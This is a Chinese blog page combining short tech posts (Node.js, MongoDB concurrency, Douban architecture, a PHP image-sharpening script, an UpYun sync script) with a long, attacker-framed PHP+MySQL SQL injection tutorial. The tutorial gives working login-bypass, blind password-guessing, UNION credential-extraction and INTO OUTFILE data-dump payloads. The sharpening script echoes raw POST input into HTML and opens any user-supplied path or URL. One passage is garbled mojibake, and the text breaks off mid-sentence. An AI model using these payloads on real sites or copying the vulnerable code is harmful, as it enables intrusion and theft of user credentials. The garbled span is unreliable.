Node.js 究竟是什么?(what's that mean?)

简介: Node 是一个服务器端 JavaScript 解释器,它将改变服务器应该如何工作的概念。它的目标是帮助程序员构建高度可伸缩的应用程序,编写能够处理数万条同时连接到一个(只有一个)物理机的连接代码。

如果您听说过 Node,或者阅读过一些文章,宣称 Node 是多么多么的棒,那么您可能会想:“Node 究竟是什么东西?” 即便是在参阅 Node 的主页之后,您甚至可能还是 不明白 Node 为何物?Node 肯定不适合每个程序员,但它可能是某些程序员一直苦苦追寻的东西。

为试图解释什么是 Node.js,本文将简要介绍一些背景信息:它要解决的问题,它如何工作,如何运行一个简单应用程序,最后,Node 在什么情况下是一个好的解决方案。本文不涉及如何编写一个复杂的 Node 应用程序,也不是一份全面的 Node 教程。阅读本文应该有助于您决定是否应该继续学习 Node,以便将其用于您的业务。

Continue reading “Node.js 究竟是什么?(what's that mean?)”

在MongoDB中实现乐观并发控制

说起来,自从接触了MongoDB以后,我在大小项目中就再也没有 接触过关系型数据库了。性能倒不是什么主要问题,主要是方便,例如我可以在MongoDB中直接保存数组,然后把其中的元素当作查询条件,而在关系型数据 库中,则需要使用额外的表格,然后再JOIN等等。当然,在MongoDB中很难进行JOIN,于是对于某些场景下会略显麻烦,但在记忆中我似乎真没什么 束手束脚的情况。这方面我还没有仔细分析,可能MongoDB支持保存复杂对象会有所帮助吧。以上都是废话,这里我简单谈一下如何在MongoDB中实现乐观并发控制。当然加入您对MongoDB的功能都有所了解,那么这种做法也是十分显而易见的。

简单地说,“并发控制”便是避免在并发环境下某条记录被错误地覆盖。例如在一次“读取”、“修改”、“提交”的事务中,除非进行合理控制,否则可能 其中某次提交的数据就遗失了。所谓“悲观”并发控制,则意味着在某次事务的“开始”和“提交”之间不会出现任何“读取”操作(即这条记录被锁定了),这自 然不会有问题。而乐观并发控制,则保证的是在某次“读取”和“提交”之间没有进行任何“提交”操作,否则便会提交失败,于是当前事务便会重新从“读取”这 个最早的步骤开始。此类概念(或者说并发处理方式)在许多地方都有体现,例如在普通的并发编程中,lock就近似于“悲观”并发控制,而“软件事务内存”则类似于“乐观”并发控制。

如果要在普通的关系型数据库里实现乐观并发控制,我们一般需要为其加上一个额外的Version字段,它是整型,也可能是个时间戳。在更新某条记录 时,我们将这个字段的“旧值”作为UPDATE语句的条件之一,同时这个字段也会写入新的值。如果这次更新影响了某条记录,那么表示更新成功,反之则表示 这条记录已经被删除,或是在“读取”和“提交”之间遇到了其他提交操作。在SQL Server中存在一个Timestamp类型,这个类型的字段会在记录修改时自动更新。

在MongoDB中的做法也没有太大区别,只是它的update语句并不会返回它所影响的记录数,于是我们必须额外进行一次查询,例如文档上所记载

> t.update({_id: 1, version: 3}}, {$set: {Content: "New Content", version: 4}});
> db.$cmd.findOne({getlasterror: 1});
{"err":, "updatedExisting": true, "n": 1 , "ok": 1} // it worked

> t.update({_id: 1, version: 3}}, {$set: {Content: "New Content", version: 4}});
> db.$cmd.findOne({getlasterror: 1});
{"err":, "updatedExisting": false, "n": 0 , "ok": 1} // did not work

我们可以在update语句后面跟上一句db.$cmd查询,如果它返回updatedExisting为true,则表示更新成功了。我一开始担 心db.$cmd查询的结果是否准确:如果在update语句和db.$cmd查询之间,另外一个连接恰好也执行了一次update操作,那么 db.$cmd返回的是哪次更新的结果?从后来从邮件列表中得知,db.$cmd查询是与连接相关,这便不会有问题了。不过值得注意的是,如果您使用的的 驱动程序是“自动管理连接”的,则可能您在程序中发起的两次查询会使用两个不同的链接。不过我猜成熟的驱动应该都有办法解决这个问题,例如MongoDB的官方.NET驱动便可以要求直接返回db.$cmd查询的结果,或者在代码里显式“固定”某个链接。如今MongoDB的官方驱动已经十分完善,将MongoDB的功能体现地淋漓尽致,我也正在它的基础上更新EasyMongo(经过几个项目使用,感想不错),和之前的“民间驱动”相比省了不少心——顺便一提,官方驱动其实也借用了民间驱动的不少代码,即便它们之间的API有许多差异。

除此之外,您也可以使用基于runCommand的findAndModify命 令进行更新,更新条件自然同样需要包括版本号。如果更新成功,那么findAndModify命令则会返回“更新前”的数据,否则则返回空文档。一般来 说,MongoDB的驱动也已经包含了runCommand命令,甚至对findAndModify的直接支持(例如官方的.NET驱动)。

正如我一开始所说的那样,其实如果您了解MongoDB的功能,本文内容其实是十分显而易见的,的确就是这么简单。

最后顺手发布两条“招聘”消息(地点都是上海):

  1. 钢琴入门老师(1名):指导我进行钢琴基础技术训练及乐理(如24个大小调音阶,快速识谱方法)。本人小时候学过点钢琴,但基础没有打好,现在打算认真来过。
  2. 优秀.NET程序员(1~2名):加入盛大创新院工作,要求“自认为对.NET有较好了解”,有一定编程基础,热爱技术学习。热情参与社区活动者为佳。

CTO谈豆瓣网和校内网技术架构变迁

罗马不是一天建成的,豆瓣的技术架构也是随着用户规模的增长一直在持续变化中。洪强宁,2002年毕业于清华大学,现任北京豆瓣互动科技有限公司首 席架构师。洪强宁和他带领的技术团队致力于用技术改善人们的文化和生活品质,在网站架构、性能、可伸缩性上进行深入研究。豆瓣网曾获软件中国2006年度 最佳技术应用网站。

Continue reading “CTO谈豆瓣网和校内网技术架构变迁”

PHP中实现图片的锐化代码

<?php
//1 = GIF, 2 = JPG, 3 = PNG, 4 = SWF, 5 = PSD, 6 = BMP, 7 = TIFF(intel byte order), 8 = TIFF(motorola byte order), 9 = JPC, 10 = JP2, 11 = JPX, 12 = JB2, 13 = SWC, 14 = IFF func

function GetImageType($filename) {
return (($imginfo = @ getimagesize($filename)) != null ? $imginfo[2] : null);
}

//图像锐化

//$scr_im:图像资源句柄,$degree:锐化度数

function Sharp(& $src_im, & $dst_im, $degree) {

$src_x = imagesx($src_im);

$src_y = imagesy($src_im);

//$dst_im = imagecreate($src_x, $src_y);

//imagecopy($dst_im, $src_im, 0, 0, 0, 0, $src_x, $src_y);

$cnt = 0;

for ($x = 1; $x < $src_x; $x++)
for ($y = 1; $y < $src_y; $y++) {

$src_clr1 = imagecolorsforindex($src_im, imagecolorat($src_im, $x -1, $y -1));

$src_clr2 = imagecolorsforindex($src_im, imagecolorat($src_im, $x, $y));

$r = intval($src_clr2[“red”] + $degree * ($src_clr2[“red”] – $src_clr1[“red”]));

$g = intval($src_clr2[“green”] + $degree * ($src_clr2[“green”] – $src_clr1[“green”]));

$b = intval($src_clr2[“blue”] + $degree * ($src_clr2[“blue”] – $src_clr1[“blue”]));

$r = min(255, max($r, 0));

$g = min(255, max($g, 0));

$b = min(255, max($b, 0));

//echo “r:$r, g:$g, b:$b<br/>”;

if (($dst_clr = imagecolorexact($dst_im, $r, $g, $b)) == -1)
$dst_clr = Imagecolorallocate($dst_im, $r, $g, $b);

$cnt++;

if ($dst_clr == -1)
die(“color allocate faile at $x, $y ($cnt).”);

imagesetpixel($dst_im, $x, $y, $dst_clr);

}
return $dst_im;
}
$ImageFunctions = array(“imagecreatefromwbmp”, “imagecreatefromgif”, “imagecreatefromjpeg”, “imagecreatefrompng”);
if (!empty ($_POST[“ImageName”])) {
set_time_limit(10 * 60);

if (($ImageType = GetImageType($_POST[“ImageName”])) == false)
die(“指定文件不存在或不是有效的图片或不支持类型!”);

if ($ImageType == 6)
$ImageType = 0;

if ($ImageType > 3)
die(“不支持的图片类型!”);

$im1 = $ImageFunctions[$ImageType] ($_POST[“ImageName”]);

$im2 = $ImageFunctions[$ImageType] ($_POST[“ImageName”]);

//print_r(imagecolorsforindex($im, imagecolorat($im, 10, 10)));

Sharp($im1, $im2, $_POST[“Degree”]);

header(“Content-type: image/png”);

imagepng($im2);

imagedestroy($im1);

imagedestroy($im2);

}
?>

<form name=”FormName” action=”” method=”post”>

请输入图片的本地路径或URL:<br/>

<input name=”ImageName” type=”text” value=”<?=$_POST[“ImageName”]?>” size=32><br/>

锐化度数(例:0.6、3.0):<br/>

<input name=”Degree” type=”text” value=”<?=$_POST[“Degree”]?>”><br/>

<input type=”submit” value=”提交”>

</form>

参考的文章–又拍云实战

今年秋天,加入猛买之后,遇到的第一个挑战就是图片托管。当时,网站流量快速增长,原有服务器几次增加带宽依然无法满足需求,流量常常跑满。现在回头总结一下,像我们这样的小公司,自己维护静态资源服务器大致有这些不爽:
  • 峰值带宽决定大部分成本
    如果峰值带宽在20Mb,那就得买20Mb,哪怕在凌晨只有几百Kb。
  • 运维的成本不可忽视
    除了买带宽,还得时时处处留意服务器运行情况、网卡流量、安全状况等,也需要持续投入。
  • 单机达不到CDN的功效
    虽然我们用的机房速度和稳定性都不错,但毕竟是单机,无法保证全国各地的访问速度。
后来,我通过@Fenng联络到了@gofeeling和又拍,正赶上又拍云处在最后测试阶段,我们成了又拍云第一批用户。又拍云(以下简称为UpYun)恰好为我们解决了上面的问题。
  • 按需付费,带宽需求再高,也只需要按流量付费,据粗略计算成本低至原先三成;
  • 抛开运维负担,如不放心,配置几个URL监控即可;
  • CDN不再是问题,不同地区的用户都能享受到最好的访问速度。

在两个月的使用过程中,UpYun确实出现过2次不稳定的状况,但又拍同学们都很及时地解决了。正式上线后,稳定性极佳,到目前为止可用率高达100%。

这篇文章主要是从用户的角度谈谈UpYun的特点和使用技巧,让对UpYun感兴趣的朋友们更好地了解这个平台,可以加深了解,更好地使用它。UpYun目前提供的是文件存储+CDN的服务,可以认为是AWS的S3+CloudFront,但实际用起来,有些细节上的不同。

0、与众不同的Bucket

和一般云存储服务提供的Bucket不同,UpYun中的Bucket分为文件类和图片类。文件类Bucket可以存放任何文件;图片类Bucket仅能存放图片文件,妄图上传其他类型会被拒绝。每个Bucket都可以绑定多个域名。

1、文件增量同步

使用第三方服务托管静态资源,都会有文件同步的需求。那么,放在主服务器的文件,如何同步到UpYun呢?又拍官方提供了两种方式:FTP和API。API功能强大,但是需要做开发,目前还没人开发出类似s3cmd这样的工具;FTP命令功能有限,想用原生的几个命令辗转腾挪实现sync很费劲(不切实际地想,如果支持rsync就好了)。

我们在实际使用时,利用了lftp的mirror命令,通过FTP协议实现了文件增量同步。再配合crontab,就能做到定时增量同步了。这样既避免了投入精力围绕API做开发,又能达到rsync的效果。下面是一个脚本示例供参考:

#!/bin/bash

HOST=”v0.ftp.upyun.com”

USER=”username”

PASS=”password”

LCD=”localpath”

RCD=”remotepath”

lftp -c “open ftp://$HOST;

user $USER $PASS;

lcd $LCD;

cd $RCD;

mirror –reverse

–delete

–dereference

–verbose

–exclude-glob=*.php”

Continue reading “参考的文章–又拍云实战”

Buddy框架图片文件云存储模块实现

去试试又拍云存储的服务http://www.upyun.com/,就去注册然后申请试用了。
本次upyun.com的认证方式很让我意外,竟然是客服打电话过来确认,这点服务感觉还是挺好的,从这里感觉还是蛮重视用户的。特别要说的是,今天是星期天我又在这里宣传upyun.com的服务,就和同事说了下,结果他去注册了,竟然在半小时后就接到了客服人员的电话了,感觉这个确认还是很及时的,体验很好,这点感觉还是很不错的。
试用就开始吧,为什么要试用又拍云存储服务呢?这里我做归纳补充下:
1,图片服务器的托管及运维费用挺高的,而且峰值带宽觉得了大部分成本,且运维的软硬成本增大
2,单机达不到CDN功效,需要CDN支持的话,花费就更大了
3,图片的处理及图片的缓存,需要配置nginx的静态缓存图片,需要做系统设计扩展图片类的保存图片及缩略图功能
4,图片的备份,对于图片的备份是个问题需要用rsync同步到备份机器,添加了运维成本和开发成本 

基于以上原因,自己开发及部署图片服务的代价还是很大的,所以这个也是极力推荐使用又拍云存储www.upyun.com的原因了,至于大家说的upyun.com是否稳定,磊哥提到的猛买网用了2个月还是没问题的,我也相信@gofeeling和又拍的技术实力的。
如何申请及开通就请详细参看磊哥的博文吧,本篇主要更细致化的讲解技术实现。
首先,设计表结构
id,filename,desc,createtime,status,remoteurl,url,model,user_id
本次主要用到的字段有 filename 及 model
构造图片的访问地址 $staticUrl / $model / $filename
例如: http://img001.img.woshimaijia.com/user/testuser.jpg
考虑到图片表可能进行分表,这里的id使用了 17位的bigint 时间递增

Continue reading “Buddy框架图片文件云存储模块实现”

php+mysql注入详细

前言

  2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早

的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个

技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击

也相当熟悉了,国内各大站点都有些堪称经典的作品,不过作为一篇完整的文章,我觉得还是有必要再说

说其定义和原理。如果哪位高手已经达到炉火纯青的地步,不妨给本文挑点刺。权当指点小弟。

关于php+Mysql的注入

  国内能看到php+Mysql注入的文章可能比较少,但是如果关注各种WEB程序的漏洞,就可以发现,其实

这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多,所以,可能没

有注意,况且PHP的安全性比ASP高很多,导致很多人不想跨越这个门槛。
  尽管如此,在PHP站点日益增多的今天,SQL注入仍是最有效最麻烦的一种攻击方式,有效是因为至少

70% 以上的站点存在SQLInjection漏洞,包括国内大部分安全站点,麻烦是因为MYSQL4以下的版本是不支

持子语句的,而且当php.ini里的magic_quotes_gpc 为On 时。提交的变量中所有的 ‘ (单引号), ” (双

引号), (反斜线) and空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。
  早期的时候,根据程序的代码,要构造出没有引号的语句形成有效的攻击,还真的有点困难,好在现

在的技术已经构造出不带引号的语句应用在某些场合。只要有经验,其实构造有效的语句一点也不难,甚

至成功率也很高,但具体情况具体分析。首先要走出一个误区。

注:在没有具体说明的情况下,我们假设magic_quotes_gpc均为off。

php+Mysql注入的误区

  很多人认为在PHP+MYSQL下注入一定要用到单引号,或者是没有办法像MSSQL那样可以使用

“declare@a sysname select @a=<command> execmaster.dbo.xp_cmdshell@a”这类的命令来消除引号,

其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。
  为什么呢?因为不管在什么语言里,在引号(包括单双)里,所有字符串均是常量,即使是dir这样

的命令,也紧紧是字符串而已,并不能当做命令执行,除非是这样写的代码:

$command = “dir c:”;
system($command);

  否则仅仅只是字符串,当然,我们所说的命令不单指系统命令,我们这里说的是SQL语句,要让我们

构造的SQL语句正常执行,就不能让我们的语句变成字符串,那么什么情况下会用单引号?什么时候不用

呢?看看下面两句SQL语句:

①SELECT * FROM article WHERE articleid=’$id’
②SELECT * FROM article WHERE articleid=$id

  两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号中,这

样使得我们所提交的变量都变成了字符串,即使包含了正确的SQL语句,也不会正常执行,而第二句不同

,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为SQL语

句执行,我们针对两个句子分别提交两个成功注入的畸形语句,来看看不同之处。

① 指定变量$id为:
1′ and 1=2 union select * from user where userid=1/*
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid=’1′ and 1=2 union select *from user where userid=1/*’

②指定变量$id为:
1 and 1=2 union select * from user where userid=1
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid=1 and 1=2 union select * fromuser where userid=1
 
  看出来了吗?由于第一句有单引号,我们必须先闭合前面的单引号,这样才能使后面的语句作为SQL

执行,并要注释掉后面原SQL语句中的后面的单引号,这样才可以成功注入,如果php.ini中

magic_quotes_gpc设置为on或者变量前使用了addslashes()函数,我们的攻击就会化为乌有,但第二句没

有用引号包含变量,那我们也不用考虑去闭合、注释,直接提交就OK了。
  大家看到一些文章给出的语句中没有包含单引号例如pinkeyes的《php注入实例》中给出的那句SQL语

句,是没有包含引号的,大家不要认为真的可以不用引号注入,仔细看看PHPBB的代码,就可以发现,那

个$forum_id所在的SQL语句是这样写的:

$sql = “SELECT *
FROM ” . FORUMS_TABLE . ”
WHERE forum_id = $forum_id”;
 
  由于没有用单引号包含变量,才给pinkeyes这个家伙有机可乘,所以大家在写PHP程序的时候,记得

用单引号把变量包含起来。当然,必要的安全措施是必不可少的。

简单的例子

  先举一个例子来给大家了解一下PHP下的注入的特殊性和原理。当然,这个例子也可以告诉大家如何

学习构造有效的SQL语句。
  我们拿一个用户验证的例子,首先建立一个数据库和一个数据表并插入一条记录,如下:

CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default ”,
`password` varchar(20) NOT NULL default ”,
PRIMARY KEY (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;

#
# 导出表中的数据 `user`
#

INSERT INTO `user` VALUES (1, ‘angel’, ‘mypass’);
 
  验证用户文件的代码如下:

<?php
$servername = “localhost”;
$dbusername = “root”;
$dbpassword = “”;
$dbname = “injection”;

mysql_connect($servername,$dbusername,$dbpassword) or die(“数据库连接失败”);

$sql = “SELECT * FROM user WHERE username=’$username’ ANDpassword=’$password'”;

$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);

if (empty($userinfo))
{
echo “登陆失败”;
} else {
echo “登陆成功”;
}

echo “<p>SQLQuery:$sql<p>”;
?>
 
  这时我们提交:

http://127.0.0.1/injection/user.php?username=angel’ or 1=1
 
  就会返回:

Warning: mysql_fetch_array(): supplied argument is not a validMySQL result resource in

F:wwwinjectionuser.php on line 13
登陆失败

SQL Query:SELECT * FROM user WHERE username=’angel’ or 1=1′ ANDpassword=”

PHP Warning: mysql_fetch_array(): supplied argument is not avalid MySQL result resource in

F:wwwinjectionuser.php on line13
 
  看到了吗?单引号闭合后,并没有注释掉后面的单引号,导致单引号没有正确配对,所以由此可知我

们构造的语句不能让Mysql正确执行,要重新构造:

http://127.0.0.1/injection/user.php?username=angel’ or’1=1
 
  这时显示“登陆成功”,说明成功了。或者提交:

http://127.0.0.1/injection/user.php?username=angel’/*
http://127.0.0.1/injection/user.php?username=angel’%23
 
  这样就把后面的语句给注释掉了!说说这两种提交的不同之处,我们提交的第一句是利用逻辑运算,

在ASP中运用可以说是非常广泛的,这个不用说了吧?第二、三句是根据mysql的特性,mysql支持/*和#两

种注释格式,所以我们提交的时候是把后面的代码注释掉,值得注意的是由于编码问题,在IE地址栏里提

交#会变成空的,所以我们在地址栏提交的时候,应该提交%23,才会变成#,就成功注释了,这个比逻辑

运算简单得多了,由此可以看出PHP比ASP强大灵活多了。
  通过上面的例子大家应该对PHP+MYSQL的注入有个感性的认识了吧?

语句构造

  PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过,语句的构造才是最有趣味的地方,但构造

语句和ACCESS、MSSQL都有少许不同,但同样可以发挥得淋漓尽致。看下面的例子。

一、搜索引擎

  网上有一大堆的PHP程序搜索引擎是有问题的,也就是提交特殊字符可以显示所有记录,包括不符合

条件的,其实这个危害也不算大,因为允许用户输入关键字进行模糊查询的地方大多数都允许检索所有的

记录。很多查询的设计就是这样的。
  查询是只读的操作应该不会对数据产生破坏作用,不要太担心。不过泄露隐私不知道算不算危害,下

面是一个标准的搜索引擎:

<form method=”GET” action=”search.php”name=”search”>
<input name=”keywords” type=”text” value=””size=”15″> <input type=”submit”value=”Search”>
</form>
<p><b>Searchresult</b></p>

<?php
$servername = “localhost”;
$dbusername = “root”;
$dbpassword = “”;
$dbname = “injection”;

mysql_connect($servername,$dbusername,$dbpassword) or die(“数据库连接失败”);

$keywords = $_GET[‘keywords’];
if (!empty($keywords)) {
  //$keywords = addslashes($keywords);
  //$keywords = str_replace(“_”,”_”,$keywords);
  //$keywords = str_replace(“%”,”%”,$keywords);

  $sql = “SELECT * FROM “.$db_prefix.”article WHERE title LIKE’%$keywords%’ $search ORDER

BY title DESC”;
  $result = mysql_db_query($dbname,$sql);
  $tatol=mysql_num_rows($result);

  echo “<p>SQLQuery:$sql<p>”;

  if ($tatol <=0){
    echo “The”<b>$keywords</b>”was not found in all therecord.<p>n”;
  } else {
    while ($article=mysql_fetch_array($result)) {
      echo”<li>”.htmlspecialchars($article[title]).”<p>n”;
    } //while
  }
} else {
  echo “<b>Please enter somekeywords.</b><p>n”;
}
?>
 
  一般程序都是这样写的,如果缺乏变量检查,我们就可以改写变量,达到“注入”的目的,尽管没有

危害,当我们输入“___”、“.__”、“%”等类似的关键字时,会把数据库中的所有记录都取出来。如

果我们在表单提交:

%’ ORDER BY articleid/*
%’ ORDER BY articleid#
__’ ORDER BY articleid/*
__’ ORDER BY articleid#
 
  SQL语句就被改变成下面的样子了,

SELECT * FROM article WHERE title LIKE ‘%%’ ORDER BYarticleid/*%’ ORDER BY title DESC
SELECT * FROM article WHERE title LIKE ‘%__’ ORDER BY articleid#%’ORDER BY title DESC
 
  就会列出所有记录,包括被隐藏的,还可以改变排列顺序。这个虽然危害不大,也算是注入的一种方

式了吧?

二、查询字段

  查询字段又可以分成两种,本表查询和跨表查询,这两种查询和ACCESS、MSSQL差不多,甚至更强大

、更灵活、更方便。不知道为什么就是有人认为比ASP难?我们在ASP中经常使用的个别函数在PHP里要有

小小的改动,如下:

① 本表查询

  看下面一条SQL语句,多用在论坛或者会员注册系统查看用户资料的,

<?php
$servername = “localhost”;
$dbusername = “root”;
$dbpassword = “”;
$dbname = “injection”;

mysql_connect($servername,$dbusername,$dbpassword) or die(“数据库连接失败”);

$sql = “SELECT * FROM user WHERE username=’$username'”;
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);

if (!$row) {
  echo “该记录不存在”;
  echo “<p>SQLQuery:$sql<p>”;
  exit;
}

echo “你要查询的用户ID是:$row[userid]n”;
echo “<p>SQLQuery:$sql<p>”;
?>
 
  当我们提交的用户名为真时,就会正常返回用户的ID,如果为非法参数就会提示相应的错误,由于是

查询用户资料,我们可以大胆猜测密码就存在这个数据表里(现在我还没有碰见过密码是单独存在另一个

表的程序),记得刚才的身份验证程序吗?和现在的相比,就少了一个AND条件,如下:

SELECT * FROM user WHERE username=’$username’ ANDpassword=’$password’SELECT * FROM user

WHEREusername=’$username’
 
  相同的就是当条件为真时,就会给出正确的提示信息,如果我们构造出后面的AND条件部分,并使这

部分为真,那我们的目的也就达到了,还是利用刚才建立的user数据库,用户名为angel,密码为mypass


看了上面的例子,应该知道构造了吧,如果我们提交:

http://127.0.0.1/injection/user.php?username=angel’ andpassword=’mypass
 
  这个是绝对为真的,因为我们这样提交上面的SQL语句变成了下面的样子:

SELECT * FROM user WHERE username=’angel’ ANDpassword=’mypass’
 
  但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数据库的各个字段,下面我们就开始探

测密码了,首先获取密码长度:

http://127.0.0.1/injection/user.php?username=angel’ andLENGTH(password)=’6
 
  在ACCESS中,用LEN()函数来获取字符串长度,在MYSQL中,要使用LENGTH(),只要没有构造错误,也

就是说SQL语句能正常执行,那返回结果无外乎两种,不是返回用户ID,就是返回“该记录不存在”。当

用户名为angel并且密码长度为6的时候返回真,就会返回相关记录,是不是和ASP里一样?再用LEFT()、

RIGHT()、MID()函数猜密码:

http://127.0.0.1/injection/user.php?username=angel’ andLEFT(password,1)=’m
http://127.0.0.1/injection/user.php?username=angel’ andLEFT(password,2)=’my
http://127.0.0.1/injection/user.php?username=angel’ andLEFT(password,3)=’myp
http://127.0.0.1/injection/user.php?username=angel’ andLEFT(password,4)=’mypa
http://127.0.0.1/injection/user.php?username=angel’ andLEFT(password,5)=’mypas
http://127.0.0.1/injection/user.php?username=angel’ andLEFT(password,6)=’mypass
 
  看,密码不是出来了吗?简单吧?当然实际情况会有不少条件限制,下面还会讲到这个例子的深入应

用。

② 跨表查询

  这部分就和ASP有点出入了,除了一定要用UNION连接两条SQL语句,最难掌握的就是字段的数量,如

果看过MYSQL参考手册,就知道了在SELECT 中的 select_expression_r(select_expression 表示你希望

检索的列[字段])部分列出的列必须具有同样的类型。第一个 SELECT查询中使用的列名将作为结果集的列

名返回。简单的说,也就是UNION后面查选的字段数量、字段类型都应该与前面的SELECT一样,而且,如

果前面的SELECT为真,就同时返回两个SELECT的结果,当前面的SELECT为假,就会返回第二个SELECT所得

的结果,某些情况会替换掉在第一个SELECT原来应该显示的字段,如下图:

 
  看了这个图直观多了吧?所以应该先知道前面查询表的数据表的结构。如果我们查询两个数据表的字

段相同,类型也相同,我们就可以这样提交:

SELECT * FROM article WHERE articleid=’$id’ UNION SELECT *FROM……
 
  如果字段数量、字段类型任意一个不相同,就只能搞清除数据类型和字段数量,这样提交:

SELECT * FROM article WHERE articleid=’$id’ UNION SELECT1,1,1,1,1,1,1 FROM……
 
  否则就会报错:

The used SELECT statements have a different number ofcolumns
 
  如果不知道数据类型和字段数量,可以用1来慢慢试,因为1属于intstrvar类型,所以我们只要慢

慢改变数量,一定可以猜到的。如果不能马上理解上面的理论,后面有很详细的例子。
  我们看看下面的数据结构,是一个简单的文章数据表。

CREATE TABLE `article` (
`articleid` int(11) NOT NULL auto_increment,
`title` varchar(100) NOT NULL default ”,
`content` text NOT NULL,
PRIMARY KEY (`articleid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;

#
# 导出表中的数据 `article`
#

INSERT INTO `article` VALUES (1, ‘我是一个不爱读书的孩子’,’中国的教育制度真是他妈的落后!如

果我当教育部长。我要把所有老师都解雇!’);
INSERT INTO `article` VALUES (2, ‘我恨死你’, ‘我恨死你了,你是什么东西啊’);
 
  这个表的字段类型分别是int、varchar、text,如果我们用UNION联合查询的时候,后面的查询的表

的结构和这个一样。就可以用“SELECT*”,如果有任何一个不一样,那我们只能用“SELECT1,1,1,1……

”了。

  下面的文件是一个很标准、简单的显示文章的文件,很多站点都是这种页面没有过滤,所以成为最明

显的注入点,下面就拿这个文件作为例子,开始我们的注入实验。

<?php
$servername = “localhost”;
$dbusername = “root”;
$dbpassword = “”;
$dbname = “injection”;

mysql_connect($servername,$dbusername,$dbpassword) or die(“数据库连接失败”);

$sql = “SELECT * FROM article WHERE articleid=’$id'”;
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);

if (!$row)
{
  echo “该记录不存在”;
  echo “<p>SQLQuery:$sql<p>”;
  exit;
}

echo”title<br>”.$row[title].”<p>n”;
echo”content<br>”.$row[content].”<p>n”;
echo “<p>SQLQuery:$sql<p>”;
?>
 
正常情况下,我们提交这样的一个请求:

http://127.0.0.1/injection/show.php?id=1
 
  就会显示articleid为1的文章,但我们不需要文章,我们需要的是用户的敏感信息,就要查询user表

,现在是查询刚才我们建立的user表。
  由于$id没有过滤给我们制造了这个机会,我们要把show.php文件中的SQL语句改写成类似这个样子:

SELECT * FROM article WHERE articleid=’$id’ UNION SELECT * FROMuser ……
 
  由于这个代码是有单引号包含着变量的,我们现在提交:

http://127.0.0.1/injection/show.php?id=1′ union select1,username,password from user/*
 
 _sina_#8220_word__吹览硭担Ω孟允居没П淼膗sername、password两个字段的内容才对啊,怎么正常

显示文章呢?如图:

 
  其实,我们提交的articleid=1是article表里存在的,执行结果就是真了,自然返回前面SELECT的结

果,当我们提交空的值或者提交一个不存在的值,就会蹦出我们想要的东西:

http://127.0.0.1/injection/show.php?id=’ union select1,username,password from user/*
http://127.0.0.1/injection/show.php?id=99999′ union select1,username,password from user/*
 
  如图:

 
  现在就在字段相对应的地方显示出我们所要的内容。如果还不清楚思路以及具体的应用,后面还会讲

到一些高级的技巧。

三、导出文件

  这个是比较容易构造但又有一定限制的技术,我们经常可以看见以下的SQL语句:

select * from table into outfile ‘c:/file.txt’
select * from table into outfile ‘/var/www/file.txt’
 
  但这样的语句,一般很少用在程序里,有谁会把自己的数据导出呢?除非是备份,但我也没有见过这

种备份法。所以我们要自己构造,但必须有下面的前提条件:

必须导出到能访问的目录,这样才能下载。
能访问的目录必须要有可写的权限,否则导出会失败。
确保硬盘有足够的容量能容下导出的数据,这个很少见。
确保要已经存在相同的文件名,会导致导出失败,并提示:“File ‘c:/file.txt’alreadyexists”,这

样可以防止数据库表和文件例如/etc/passwd被破坏。
  我们继续用上面的user.php和show.php两个文件举例,如果一个一个用户猜解实在是太慢了,如果对

方的密码或者其他敏感信息很复杂,又不会写Exploit,要猜到什么时候啊?来点大范围的,直接导出全

部数据好了。user.php文件的查询语句,我们按照intooutfile的标准格式,注入成下面的语句就能导出

我们需要的信息了:

SELECT * FROM user WHERE username=’$username’ into outfile’c:/file.txt’
 
  知道怎么样的语句可以实现我们的目的,我们就很容易构造出相应的语句:

http://127.0.0.1/injection/user.php?username=angel’ into outfile’c:/file.txt
 
  出现了错误提示,但从返回的语句看来,我们的SQL语句确实是注入正确了,即使出现错误,也是查

询的问题了,文件还是乖乖的被导出了,如图:

 
  由于代码本身就有WHERE来指定一个条件,所以我们导出的数据仅仅是满足这个条件的数据,如果我

们想导出全部呢?其实很简单,只要使这个WHERE条件为假,并且指定一个成真的条件,就可以不用被束

缚在WHERE里了,来看看经典1=1发挥作用了:

http://127.0.0.1/injection/user.php?username=’ or 1=1 intooutfile ‘c:/file.txt
 
  实际的SQL语句变为:

SELECT * FROM user WHERE username=” or 1=1 into outfile’c:/file.txt’
 
  这样username的参数是空的,就是假了,1=1永远是真的,那or前面的WHERE就不起作用了,但千万别

用and哦,否则是不能导出全部数据的。
  既然条件满足,在这种情况下就直接导出所有数据!如图:

 
  但是跨表的导出文件的语句该怎么构造呢?还是用到UNION联合查询,所以一切前提条件都应该和

UNION、导出数据一样,跨表导出数据正常情况下应该相下面的一样:

SELECT * FROM article WHERE articleid=’1′ union select1,username,password from user into

outfile ‘c:/user.txt’
 
  这样可以导出文件了,如果我们要构造就提交:

http://127.0.0.1/injection/show.php?id=1′ union select1,username,password from user into

outfile ‘c:/user.txt
 
  文件是出来了,可是有一个问题,由于前面的查询articleid=’1’为真了,所以导出的数据也有整个

文章的一部分,如图:

 
  所以我们把应该使前面的查询语句为假,才能只导出后面查询的内容,只要提交:

http://127.0.0.1/injection/show.php?id=’ union select1,username,password from user into

outfile ‘c:/user.txt
 
  这样才能得到我们想要的资料:

 
  值得注意的是想要导出文件,必须magic_quotes_gpc没有打开,并且程序也没有用到addslashes()函

数,还有不能对单引号做任何过滤,因为我们在提交导出路径的时候,一定要用引号包含起来,否则,系

